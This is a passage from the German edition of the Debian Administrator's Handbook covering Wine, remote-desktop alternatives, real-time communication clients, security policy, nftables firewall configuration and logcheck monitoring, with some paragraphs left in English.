Man sollte jedoch nicht vergessen, dass dies nur eine von mehreren Lösungen ist, und dass das Problem auch mit einem virtuellen Rechner oder mit VNC angegangen werden kann; diese beiden Lösungen sind in den Seitenleisten ALTERNATIVE Virtuelle Rechner und ALTERNATIVE Windows Terminal Server oder VNC ausführlich beschrieben.

Lassen Sie uns mit einer Erinnerung beginnen: Emulierung ermöglicht es, ein Programm (das für ein bestimmtes Zielsystem entwickelt wurde) auf einem anderen Wirtssystem auszuführen. Das Emulationsprogramm benutzt das Wirtssystem, auf dem die Anwendung läuft, um die erforderlichen Funktionen des Zielsystems zu imitieren.

Nun installieren wir die benötigten Pakete (ttf-mscorefonts-installer befindet sich im contrib-Abschnitt):

# apt install wine ttf-mscorefonts-installer

Auf einem 64-Bit (amd64)-System müssen Sie Multi-Arch aktivieren, wenn Ihre Windows-Anwendungen 32-Bit-Anwendungen sind, um wine32 aus der i386-Architektur installieren zu können (siehe Abschnitt 5.4.5, „Multi-Arch Unterstützung“).

The user then needs to run winecfg and configure which (Debian) locations are mapped to which (Windows) drives. winecfg has some sane defaults and can auto-detect some more drives; note that even if you have a dual-boot system, you should not point the C: drive at where the Windows partition is mounted in Debian, as Wine is likely to overwrite some of the data on that partition, making Windows unusable. Other settings can be kept to their default values. To run Windows programs, you will first need to install them by running their (Windows) installer under Wine, with a command such as wine .../setup.exe; once the program is installed, you can run it with wine .../program.exe. The exact location of the program.exe file depends on where the C: drive is mapped; in many cases, however, simply running wine program will work, since the program is usually installed in a location where Wine will look for it by itself.

TIPP Übergangslösung für ein winecfg Fehler

In some cases, winecfg (which is just a wrapper) might fail. As a workaround, it is possible to try to run the underlying command manually: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so or wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

Beachten Sie, dass Sie sich nicht auf Wine (oder ähnliche Lösungen) verlassen sollten, ohne das jeweilige Programm in der Praxis zu testen: Nur durch einen Test unter Realbedingungen kann man endgültig feststellen, ob die Emulierung vollständig funktionsfähig ist.

ALTERNATIVE Virtuelle Rechner

An alternative to emulating Microsoft's operating system is to actually run it in a virtual machine that emulates a full hardware machine. This allows running any operating system. Kapitel 12, Erweiterte Verwaltung describes several virtualization systems, most notably Xen and KVM (but also QEMU, VMWare and VirtualBox).

ALTERNATIVE Windows Terminal Server oder VNC

Eine weitere Möglichkeit besteht darin, native Windowsanwendungen auf einem zentralen Server unter Windows Terminal Server laufen zu lassen und dann von Linux-Rechnern aus unter Verwendung von rdesktop darauf zuzugreifen. Letzteres ist ein Linux-Client für das RDP-Protokoll (Remote Desktop Protocol), das von Windows NT/2000 Terminal Server benutzt wird, um Arbeitsoberflächen auf entfernten Rechnern anzuzeigen.

VNC stellt ähnliche Leistungsmerkmale zur Verfügung, hat darüber hinaus aber noch den Vorteil, auch mit vielen anderen Betriebssystemen zu funktionieren. Linux-VNC-Clients und -Server sind in Abschnitt 9.2, „Remoteanmeldung“ beschrieben.

13.9. Echtzeit-Kommunikationssoftware

Debian bietet eine breite Palette von Real-Time Communications (RTC)-Client-Software. Die Einrichtung von RTC-Servern wird in Abschnitt 11.8, „Echtzeit-Kommunikationsdienste“ beschrieben. In der SIP-Terminologie wird eine Client-Anwendung oder -Gerät auch als User-Agent bezeichnet.

Jede Client-Anwendung unterscheidet sich in der Funktionalität. Einige Anwendungen sind für intensive Chat-Benutzer bequemer, während andere Anwendungen für Webcam-Benutzer stabiler sind. Es kann notwendig sein, mehrere Anwendungen zu testen, um diejenigen zu identifizieren, die am besten passen. Ein Benutzer kann schließlich entscheiden, dass er mehr als eine Anwendung benötigt, z.B. eine XMPP-Anwendung für Messaging mit Kunden und eine IRC-Anwendung für die Zusammenarbeit mit einigen Online-Communities.

Jede Client-Anwendung unterscheidet sich in der Funktionalität. Einige Anwendungen sind für intensive Chat-Benutzer bequemer, während andere Anwendungen für Webcam-Benutzer stabiler sind. Es kann notwendig sein, mehrere Anwendungen zu testen, um diejenigen zu identifizieren, die am besten passen. Ein Benutzer kann schließlich entscheiden, dass er mehr als eine Anwendung benötigt, z.B. eine XMPP-Anwendung für Messaging mit Kunden und eine IRC-Anwendung für die Zusammenarbeit mit manchen Online-Communities.

Der Standard-GNOME-Desktop schlägt den Kommunikations-Client Empathy vor. Empathy kann sowohl SIP als auch XMPP unterstützen. Es unterstützt Instant Messaging (IM), Sprache und Video. Das KDE-Projekt hält KDE Telepathy bereit, einen Kommunikations-Client, der auf den gleichen Telepathy-APIs basiert, die auch vom GNOME Empathy-Client verwendet werden.

Popular alternatives to Empathy/Telepathy include Ekiga, Linphone, Psi, Jitsi and Jami (formerly known as Ring).

Jitsi requires no client other than a web browser. It support encrypted calls, and there is a huge list of public instances. There is no official Debian package for Jitsi, but it can be downloaded from their official website.

Einige dieser Anwendungen können auch mit mobilen Nutzern über Anwendungen wie Lumicall auf Android interagieren.

→ https://lumicall.org

Der Real-Time Communications Quick Start Guide enthält ein Kapitel über Client-Software.

→ http://rtcquickstart.org/guide/multi/useragents.html

TIPP Suchen Sie nach Clients, die ICE und TURN unterstützen

Einige RTC-Clients haben erhebliche Probleme beim Senden von Sprache und Video über Firewalls und NAT-Netzwerke. Benutzer können Geisteranrufe empfangen (ihr Telefon klingelt, aber sie hören die andere Person nicht) oder sie können überhaupt nicht anrufen.

Die Protokolle ICE und TURN wurden entwickelt, um diese Probleme zu lösen. Der Betrieb eines TURN-Servers mit öffentlichen IP-Adressen an jedem Standort und die Verwendung von Client-Software, die sowohl ICE als auch TURN unterstützt, bietet die beste Benutzererfahrung.

Wenn die Client-Software nur für Instant Messaging gedacht ist, ist keine ICE- oder TURN-Unterstützung erforderlich.

ALTERNATIVE Internet Relay Chat

Zusätzlich zu SIP und XMPP kann man auch IRC in Betracht ziehen. IRC ist mehr auf das Konzept von Kanälen ausgerichtet, deren Namen mit einem Rautenzeichen # beginnen. Jeder Kanal ist gewöhnlich auf ein spezifisches Thema eingestellt, und eine beliebige Anzahl von Personen kann einem Kanal beitreten, um es dort zu diskutieren (aber Teilnehmer können, falls erforderlich, nach wie vor private Einzelgespräche führen). Das IRC-Protokoll ist bereits älter und ermöglicht keine durchgängige Verschlüsselung der Meldungen; es ist jedoch möglich, die Kommunikation zwischen den Teilnehmern und dem Server durch das Tunneln des IRC-Protokolls innerhalb von SSL zu verschlüsseln.

IRC-Clients sind etwas komplexer, und sie stellen gewöhnlich zahlreiche Leistungsmerkmale bereit, die in einer betrieblichen Umgebung nur von begrenztem Nutzen sind. So sind zum Beispiel Kanal-„Betreiber“ Teilnehmer, die mit der Fähigkeit ausgestattet sind, andere Teilnehmer aus dem Kanal zu werfen oder sie sogar dauerhaft auszusperren, wenn die normale Diskussion gestört wird.

Da das IRC-Protokoll sehr alt ist, gibt es zahlreiche auf verschiedene Nutzergruppen zugeschnittene Clients; zu ihnen zählen zum Beispiel XChat und Smuxi (grafische Clients, die auf GTK+ aufbauen), Irssi (Textmodus), Circe (in Emacs integriert) und so weiter.

Kapitel 14. Sicherheit

Ein Informationssystem kann je nach der Umgebung, in der es eingesetzt wird, unterschiedlich wichtig sein. Manchmal ist es für ein Unternehmen lebensnotwendig. Deshalb muss es vor verschiedenen Gefahren geschützt sein. Das Verfahren, bei dem diese Gefahren identifiziert werden und der passende Schutz festgelegt und eingerichtet ist, wird insgesamt als „Sicherheitsprozess“ bezeichnet.

14.1. Festlegen einer Sicherheitsstrategie

VORSICHT Anwendungsbereich dieses Kapitels

Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject.

Der Begriff „Sicherheit“ selbst deckt einen weiten Bereich von Konzepten, Werkzeugen und Verfahren ab, von denen jedoch keines allgemein gilt. Um unter ihnen eine Auswahl treffen zu können, muss man eine klare Vorstellung davon haben, was man erreichen möchte. Die Absicherung eines Systems beginnt mit der Beantwortung einiger Fragen. Wenn man überstürzt einen willkürlich ausgewählten Satz von Werkzeugen installiert, läuft man Gefahr, sich auf die falschen Aspekte der Sicherheit zu konzentrieren.

Als erstes legt man deshalb das Ziel fest. Ein guter Ansatz, der bei dieser Festlegung hilft, beginnt mit den folgenden Fragen:

Was wollen wir schützen? Die Sicherheitsrichtlinie wird je nachdem, ob wir Rechner oder Daten schützen wollen, anders aussehen. Bei letzteren müssen wir auch noch wissen, um welche Daten es sich handelt.

Wovor wollen wir uns schützen? Ist es der Verlust vertraulicher Daten? Versehentliche Datenverluste? Einnahmeausfälle durch Störungen im Betriebsablauf?

Ferner, vor wem versuchen wir uns zu schützen? Sicherheitsmaßnahmen zum Schutz vor einem Tippfehler eines normalen Benutzers des Systems sind grundverschieden von Maßnahmen zum Schutz vor einer entschlossenen Gruppe von Angreifern.

Der Begriff „Gefahr“ wird normalerweise benutzt, um gleichermaßen von folgenden drei Faktoren zu sprechen: was geschützt werden soll, welches Ereignis verhindert werden soll und wer versuchen wird, dieses Ereignis eintreten zu lassen. Um die Gefahr abzubilden, müssen alle drei Fragen beantwortet werden. Ausgehend von diesem Risikomodell können dann Sicherheitsrichtlinien erstellt und durch konkrete Maßnahmen umgesetzt werden.

HINWEIS Ständiges Infragestellen

Bruce Schneier, ein weltweit anerkannter Experte in Sicherheitsfragen (nicht nur Computersicherheit), setzt einem der gängigsten Sicherheitsmythen ein Motto entgegen: „Sicherheit ist ein Prozess, kein Produkt.“ Die zu schützenden Güter ändern sich im Laufe der Zeit, genauso wie die Bedrohungen und die Mittel, die potentiellen Angreifern zur Verfügung stehen. Selbst wenn eine Sicherheitsrichtlinie anfänglich einwandfrei gestaltet und umgesetzt war, sollte man sich nie auf seinen Lorbeeren ausruhen. Die Risikokomponenten entwickeln sich weiter und die Erwiderung auf sie muss sich dementsprechend ebenfalls weiterentwickeln.

Besondere Beschränkungen müssen ebenfalls bedacht werden, da sie den Bereich der möglichen Richtlinien begrenzen können. Wie weit wollen wir gehen, um ein System abzusichern? Diese Frage hat einen wesentlichen Einfluss auf die umzusetzenden Richtlinien. Die Antwort wird allzu oft nur in Form von monetären Kosten gegeben, aber die anderen Elemente sollten ebenfalls berücksichtigt werden, wie zum Beispiel das Maß an Unbequemlichkeit, das den Systembenutzern auferlegt wird oder Leistungseinbußen.

Sobald das Risiko abgebildet ist, kann man damit beginnen, sich Gedanken über die eigentlichen Sicherheitsrichtlinien zu machen.

HINWEISExtreme Richtlinien

Es gibt Fälle, in denen die Wahl der Maßnahmen, die zur Absicherung eines Systems erforderlich sind, äußerst einfach ist.

Wenn zum Beispiel das zu schützende System nur aus einem gebrauchten Rechner besteht, der lediglich dazu benutzt wird, am Ende des Tages einige Zahlen hinzuzufügen, könnte es durchaus vernünftig sein, sich dafür zu entscheiden, gar nichts Besonderes zu seinem Schutz zu tun. Der Sachwert des Systems ist gering. Der Wert der Daten ist Null, da sie nicht auf dem Rechner gespeichert werden. Ein möglicher Angreifer, der in dieses „System“ einbricht, würde nur eine schwerfällige Rechenmaschine bekommen. Die Kosten zur Absicherung eines solchen Systems wären wahrscheinlich höher als die eines Einbruchs.

Am anderen Ende des Spektrums möchten wir vielleicht die Vertraulichkeit geheimer Daten unter allen Umständen auf möglichst umfassende Weise schützen. In diesem Fall könnte eine angemessene Aktion darin bestehen, diese Daten vollständig zu vernichten (die Dateien sicher zu löschen, die Festplatten zu schreddern, dann die Partikel in Säure aufzulösen und so weiter). Falls es zusätzlich erforderlich ist, die Daten für eine zukünftige Verwendung zu speichern (wenn auch nicht notwendigerweise auf leicht zugängliche Art) und falls Kosten auch in diesem Fall keine Rolle spielen, könnte ein Ansatzpunkt darin bestehen, die Daten auf Platten aus einer Platin-Iridium-Legierung zu speichern und diese in bombensicheren Bunkern unter verschiedenen Bergen dieser Welt zu lagern, von denen (natürlich) jeder völlig geheim und von ganzen Armeen bewacht wäre…

So extrem diese Beispiele auch erscheinen mögen, so wären sie dennoch eine angemessene Reaktion auf definierte Risiken, da sie das Ergebnis von Überlegungen sind, bei denen die zu erreichenden Ziele und die einzuhaltenden Restriktionen berücksichtigt wurden. Keine Sicherheitsrichtlinie ist weniger respektabel als eine andere, solange sie auf einer begründeten Entscheidung beruht.

In den meisten Fällen kann das Informationssystem in einheitliche und weitgehend voneinander unabhängige Teilsysteme aufgeteilt werden. Jedes Teilsystem hat seine eigenen Anforderungen und Restriktionen und daher sollten die Risikoanalyse und die Entwicklung der Sicherheitsrichtlinien für jedes getrennt angegangen werden. Man sollte dabei beachten, dass eine kurze und wohldefinierte Grenzlinie leichter zu verteidigen ist, als eine lange gewundene Grenze. Die Organisation des Netzwerks sollte dementsprechend ausgelegt werden: empfindliche Dienste sollten auf wenigen Rechnern konzentriert sein und diese sollten nur über möglichst wenige Kontrollpunkte zugänglich sein; es ist einfacher, diese Kontrollpunkte abzusichern, als alle empfindlichen Rechner gegen die gesamte Außenwelt. An dieser Stelle wird die Nützlichkeit von Netzwerkfiltern (einschließlich Firewalls) deutlich. Diese Filterung kann mit dedizierter Hardware realisiert werden, jedoch besteht eine möglicherweise einfachere und flexiblere Lösung darin, eine Firewall-Anwendung, wie sie im Linux-Kernel integriert ist, zu benutzen.

14.2. Firewall oder Paketfilter

ZURÜCK ZU DEN GRUNDLAGEN Firewall

Eine Firewall ist eine Computereinrichtung aus Hard- oder Software, die ein- und ausgehende Netzwerkpakete (zum lokalen Netzwerk kommend oder von ihm ausgehend) sortiert und nur diejenigen durchlässt, die bestimmte vorher festgelegte Bedingungen erfüllen.

Eine Firewall ist ein filternder Netzübergang und nur bei Paketen wirksam, die durch sie hindurchgehen müssen. Deshalb kann sie nur dann wirksam sein, wenn der Weg durch die Firewall für diese Pakete die einzige Route ist.

SONDERFALL Lokale Firewall

A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services. It is, however, always better to configure services to not listen on those network interfaces, where these services are not supposed to be offered, or to disable and remove services, which are not to be offered at all, than to use a packet filter to prevent any unwanted access to these services.

Its role can also be to filter or limit connections by rogue or poorly programmed software that a user could, willingly or not, have installed. The reliability of this, however, highly depends on the goal of these actions and the integrity of the system itself. This action is not a measurement to prevent potential threats to send data.

Der Linux Kernel schließt die Netfilter-Firewall ein, die aus dem User Space mit den Befehlen iptables, ip6tables, arptables und ebtables gesteuert werden kann.

However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Since Debian Buster, the nftables framework is used by default. The commands mentioned before are provided by versions, which use the nftables kernel API, by default. If one requires the “classic“ commands, the relevant binaries can be adjusted using update-alternatives.

TOOLS fwbuilder and ufw

Although (destined to) being replaced by nftables, iptables is still widely used and suited for many use-cases. Creating a rule requires an invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script, so that the same configuration is set up automatically every time the machine boots, or they can be made “persistent“ using iptables-persistent.

A script usually needs to be written by hand. But there are, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them. The rules are created with simple drag-and-drop actions on objects (interfaces, networks, ports, servers, etc.). A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured.

An alternative to writing and saving/loading the required rules is to use ufw from the package with the same name. This tool is a frontend to iptables as well, but it provides a command line interface only. Simple commands can enable or disable (block) network traffic to and from ports and IP addresses. The configuration files in /etc/ufw/ also allow for complex rule sets (e.g. hooking into the Docker chains), which are then saved and loaded automatically. This tool is often used for simple setups and to block incoming traffic on ports which cannot be assigned to a limited set of interfaces or closed appropriately.

So aktivieren Sie eine Standard-Firewall in Debian:

# apt install -y nftables Reading package lists... Done ... # systemctl enable nftables.service Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. Verhalten von nftables

As the kernel is processing a network packet, it pauses and allows us to inspect the packet and decide what to do with that packet. For example, we might want to drop or discard certain incoming packets, modify other packets in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems.

Ein gutes Verständnis der Schichten 3, 4 und 5 des OSI-Modells (Open Systems Interconnection) ist wichtig, um Netfilter optimal nutzen zu können.

CULTURE Das OSI-Modell

Das OSI-Modell ist ein konzeptionelles Modell zur Implementierung von Netzwerkprotokollen ohne Berücksichtigung der zugrunde liegenden internen Struktur und Technologie. Ziel ist die Interoperabilität unterschiedlicher Kommunikationssysteme mit Standard-Kommunikationsprotokollen.

Das Modell wurde im Standard ISO/EIC 7498 festgelegt. Die sieben Layer werden wie folgt beschrieben:

Physikalisch: Senden und Empfangen von Bit-Strömen über ein physikalisches Medium

Data Link: Zuverlässige Übertragung von Daten-Frames zwischen zwei Knoten, die durch eine durch eine physikalische Schicht verbunden sind

Netzwerk: Strukturieren und Verwalten eines Netzwerks mit mehreren Knoten, einschließlich Adressierung, Routing und Verkehrssteuerung

Transport: Zuverlässige Übertragung von Daten-Bereichen zwischen Punkten in einem Netzwerk, einschließlich Segmentierung, Bestätigung und Multiplexing

Sitzung: Verwalten von Kommunikationssitzungen, d. H. Kontinuierlicher Informationsaustausch in Form mehrerer Hin- und Her-Übertragungen zwischen zwei Knoten

Präsentation: Übersetzung von Daten zwischen einem Netzwerkdienst und einer Anwendung; einschließlich Zeichenkodierung, Datenkomprimierung und Verschlüsselung / Entschlüsselung

Anwendung: High-Level APIs, einschließlich Ressourcenfreigabe und Remote-Dateizugriff.

More information can be found on Wikipedia:

→ https://en.wikipedia.org/wiki/OSI_model

Die Firewall wird mit Tabellen (tables) konfiguriert, die Regeln (rules) in sogenannten Ketten (chains) verwalten. Anders als iptables hat nftables keine Standardtabelle (default table). Der Benutzer legt fest, welche und wie viele Tabellen erstellt werden sollen. Jede Tabelle darf jedoch nur einer der folgenden fünf Kategorien zugeordnet werden: ip, ip6, inet, arp oder bridge. Ist die Kategorie nicht deklariert, wird ip genutzt.

There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack. Base chains are registered into the Netfilter hooks, e.g. they see packets flowing through the TCP/IP stack. On the other hand, a regular chain is not attached to any hook so it does not see any traffic. But it may be used as a jump target for better organization of the rules.

Regeln bestehen aus Aussagen (statements), die einige übereinstimmende Ausdrücke und dann eine Entscheidung enthalten, wie beispielsweise accept, drop, queue, continue, return, jump chain oder goto chain.

ZURÜCK ZU DEN GRUNDLAGEN ICMP

ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC 777 and RFC 792 were soon completed and extended.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Hinweis: ein Empfangspuffer ist ein kleiner Speicherbereich, der Daten vom Zeitpunkt ihrer Ankunft aus dem Netzwerk bis zum Zeitpunkt ihrer Verarbeitung durch den Kernel speichert. Wenn dieser Bereich voll ist, können keine weiteren Daten empfangen werden und ICMP meldet das Problem, so dass der Absender seine Übertragungsgeschwindigkeit reduzieren kann (die nach einiger Zeit möglichst ausgeglichen sein sollte).

Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC 4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Der Wechsel von iptables zu nftables

The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rule sets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:

# iptables-save > iptables-ruleset.txt # iptables-restore-translate -f iptables-ruleset.txt # Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022 add table ip filter add chain ip filter INPUT { type filter hook input priority 0; policy accept; } add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; } add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; } add chain ip filter DOCKER add chain ip filter DOCKER-ISOLATION-STAGE-1 add chain ip filter DOCKER-ISOLATION-STAGE-2 add chain ip filter DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1 add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept add rule ip filter FORWARD oifname "docker0" counter jump DOCKER add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2 add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return add rule ip filter DOCKER-USER counter return add table ip nat add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; } add chain ip nat INPUT { type nat hook input priority 100; policy accept; } add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; } add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; } add chain ip nat DOCKER add rule ip nat PREROUTING fib daddr type local counter jump DOCKER add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade add rule ip nat DOCKER iifname "docker0" counter return # Completed on Wed Mar 16 22:06:32 2022 # iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft # nft -f ruleset.nft # nft list ruleset table inet filter { chain input { type filter hook input priority filter; policy accept; } chain forward { type filter hook forward priority filter; policy accept; } chain output { type filter hook output priority filter; policy accept; } } table ip nat { chain DOCKER { iifname "docker0" counter packets 0 bytes 0 return iifname "docker0" counter packets 0 bytes 0 return } chain POSTROUTING { type nat hook postrouting priority srcnat; policy accept; oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade } chain PREROUTING { type nat hook prerouting priority dstnat; policy accept; fib daddr type local counter packets 1 bytes 60 jump DOCKER fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain OUTPUT { type nat hook output priority -100; policy accept; ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain INPUT { type nat hook input priority 100; policy accept; } } table ip filter { chain DOCKER { } chain DOCKER-ISOLATION-STAGE-1 { iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return } chain DOCKER-ISOLATION-STAGE-2 { oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return } chain FORWARD { type filter hook forward priority filter; policy drop; counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state related,established counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state established,related counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept } chain DOCKER-USER { counter packets 0 bytes 0 return counter packets 0 bytes 0 return } chain INPUT { type filter hook input priority filter; policy accept; } chain OUTPUT { type filter hook output priority filter; policy accept; } }

Die Hilfsprogramme iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft sind Versionen von iptables welche die nftables API nutzen, damit Systemverwalter die veraltete iptables-Syntax weiter nutzen können. Aber dies wird nicht empfohlen; stattdessen sollten diese Hilfsprogramme lediglich die Rückwärtskompatibilität ermöglichen.

14.2.3. Die Syntax von nft

Der Befehl nft erlaubt die Bearbeitung von Tabellen (tables), Ketten (chains) und Regeln (rules). Die Tabellen--Option bietet mehrere Optionen: add, create, delete, list und flush. nft add table ip6 mangle erstellt eine neue Tabelle aus der Protokloll-Familie ip6.

Um eine neue Basikette (base chain) in der filter-Tabelle zu erstellen, wird das folgende Kommando ausgeführt (Beachten Sie, dass das Semikolon bei Verwendung von Bash mit einem Backslash versehen werden muss):

# nft add chain filter input { type filter hook input priority 0 \; }

Regeln werden normalerweise mit der folgenden Syntax hinzugefügt: nft add rule [Familie] Tabelle Kette handle Handle statement .

insert ähnelt dem Befehl add, aber die angegebene Regel wird am Anfang der Kette oder vor der Regel mit dem angegebenen Handle vorangestellt, anstatt am Ende oder nach dieser Regel. Beispielsweise fügt der folgende Befehl eine Regel vor der Regel mit dem Handler Nummer 8 ein:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

Die ausgeführten nft-Befehle nehmen keine dauerhaften Änderungen an der Konfiguration vor, sodass sie verloren gehen, wenn sie nicht gespeichert werden. Die Firewall-Regeln befinden sich in /etc/nftables.conf. Eine einfache Möglichkeit, die aktuelle Firewall-Konfiguration dauerhaft zu speichern, besteht darin, nft list ruleset > /etc/nftables.conf als root auszuführen.

nft erlaubt viele weitere Operationen, siehe seine Handbuchseite nft(8) für weitere Informationen.

14.2.4. Die Regeln bei jedem Rechnerstart installieren

To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables as root. You can stop the firewall by executing nft flush ruleset as root.

In anderen Fällen besteht der empfohlene Weg darin, das Konfigurationsskript in einer up-Anweisung der Datei /etc/network/interfaces einzutragen. Im folgenden Beispiel ist das Skript unter /usr/local/etc/arrakis.fw gespeichert.

Beispiel 14.1. Aufruf eines Firewallskripts durch eine interfaces-Datei

auto eth0 iface eth0 inet static address 192.168.0.1 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 up /usr/local/etc/arrakis.fw

Dies setzt natürlich voraus, dass Sie ifupdown verwenden, um die Netzwerk-Schnittstellen zu konfigurieren. Wenn Sie etwas anderes (wie NetworkManager oder Systemd Networkd) verwenden, dann suchen Sie in der Dokumentation Möglichkeiten ein Skript auszuführen, nachdem die Schnittstelle hochgefahren wurde.

14.3. Überwachung: Vorbeugung, Entdeckung, Abschreckung

Monitoring ist aus mehreren Gründen ein integraler Bestandteil jeder Sicherheitsrichtlinie. Unter anderem deshalb, weil das Ziel der Absicherung gewöhnlich nicht darauf beschränkt ist, die Vertraulichkeit der Daten sicherzustellen, sondern auch vorsieht, dass die Verfügbarkeit der Dienste gewährleistet ist. Es ist daher unerlässlich, zu überprüfen, ob alles wie vorgesehen funktioniert und rechtzeitig jedes abweichende Verhalten und jede Änderung in der Qualität der erbrachten Leistungen zu erkennen. Monitoring hilft dabei Einbruchsversuche zu entdecken und darauf schnell zu reagieren, bevor sie ernste Folgen haben. Dieser Abschnitt gibt einen Überblick über einige Hilfsprogramme, die zur Überwachung verschiedener Aspekte eines Debian-Systems eingesetzt werden können. Damit vervollständigt er Abschnitt 12.4, „Überwachung“.

14.3.1. Protokolle mit logcheck verfolgen

Das Programm logcheck überwacht Protokolldateien standardmäßig jede Stunde. Es schickt E-Mails mit ungewöhnlichen Protokollmeldungen zur weiteren Analyse an den Administrator.

Die Liste der überwachten Dateien wird in /etc/logcheck/logcheck.logfiles gespeichert; die Standardeinstellungen eignen sich gut, solange die Datei /etc/rsyslog.conf nicht vollständig verändert worden ist.

logcheck kann in drei mehr oder weniger detaillierten Modi laufen: Paranoid, Server und Arbeitsplatzrechner. Der erste ist sehr ausführlich und sollte wohl eher auf besondere Server, wie zum Beispiel Firewalls, beschränkt bleiben. Der zweite (voreingestellte) Modus wird für die meisten Server empfohlen. Der letzte ist für Arbeitsplatzrechner bestimmt und ist noch knapper (er unterdrückt mehr Meldungen).

In allen drei Fällen sollte logcheck wohl so angepasst werden, dass es einige zusätzliche Meldungen ausschließt (in Abhängigkeit von den installierten Diensten), es sei denn, dass der Administrator tatsächlich jede Stunde stapelweise lange uninteressante E-Mails empfangen möchte. Da das Verfahren zur Auswahl der Meldungen recht kompliziert ist, ist es notwendig - wenn auch schwierig - die Datei /usr/share/doc/logcheck-database/README.logcheck-database.gz durchzulesen.

Die eingesetzten Regeln können in mehrere Arten unterteilt werden:

solche, die eine Meldung als einen Einbruchsversuch einstufen (in einer Datei im Verzeichnis /etc/logcheck/cracking.d/ gespeichert);

solche, die eine derartige Einstufung aufheben (/etc/logcheck/cracking.ignore.d/);

solche, die eine Meldung als Sicherheitswarnung einordnen (/etc/logcheck/violations.d/);

solche, die diese Einordnung aufheben (/etc/logcheck/violations.ignore.d/);

und schließlich solche, die auf die übrigen Meldungen zutreffen (als sogenannte Systemvorfälle angesehen werden).

VORSICHT Eine Meldung ignorieren

Eine Meldung, die als Einbruchsversuch oder als Sicherheitswarnung markiert worden ist (aufgrund einer Regel, die in einer Datei namens /etc/logcheck/violations.d/meine_datei gespeichert ist), kann nur mit einer Regel in den Dateien /etc/logcheck/violations.ignore.d/meine_datei oder /etc/logcheck/violations.ignore.d/meine_datei-erweiterung ignoriert werden.

